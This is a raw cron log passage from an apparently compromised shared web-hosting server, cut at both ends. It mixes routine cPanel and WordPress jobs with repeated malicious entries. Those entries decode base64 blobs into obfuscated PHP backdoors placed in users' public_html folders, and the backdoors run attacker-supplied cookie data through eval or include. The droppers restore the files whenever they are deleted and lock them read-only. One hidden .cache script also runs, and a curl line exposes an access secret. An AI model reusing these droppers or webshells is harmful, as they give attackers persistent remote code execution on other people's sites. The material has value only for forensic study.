"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:15:01 medusa CROND[25046]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:15:01 medusa CROND[25048]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:15:01 medusa CROND[25049]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  2 16:15:01 medusa CROND[25050]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:15:01 medusa CROND[25057]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:15:01 medusa CROND[25059]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 16:15:01 medusa CROND[25069]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:15:01 medusa CROND[25052]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:16:01 medusa CROND[14738]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:16:01 medusa CROND[14739]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:16:01 medusa CROND[14740]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:16:01 medusa CROND[14741]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:16:01 medusa CROND[14743]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 16:16:01 medusa CROND[14742]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 16:16:01 medusa CROND[14749]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:16:01 medusa CROND[14753]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:16:01 medusa CROND[14755]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:16:01 medusa CROND[14756]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:16:01 medusa CROND[14757]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:16:01 medusa CROND[14754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:16:01 medusa CROND[14761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:16:01 medusa CROND[14763]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:17:01 medusa CROND[2506]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:17:02 medusa CROND[2813]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:17:02 medusa CROND[2815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:17:02 medusa CROND[2816]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:17:02 medusa CROND[2817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:17:02 medusa CROND[2818]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:17:02 medusa CROND[2819]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:17:02 medusa CROND[2824]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:17:02 medusa CROND[2826]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 16:17:02 medusa CROND[2829]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 16:17:02 medusa CROND[2837]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSg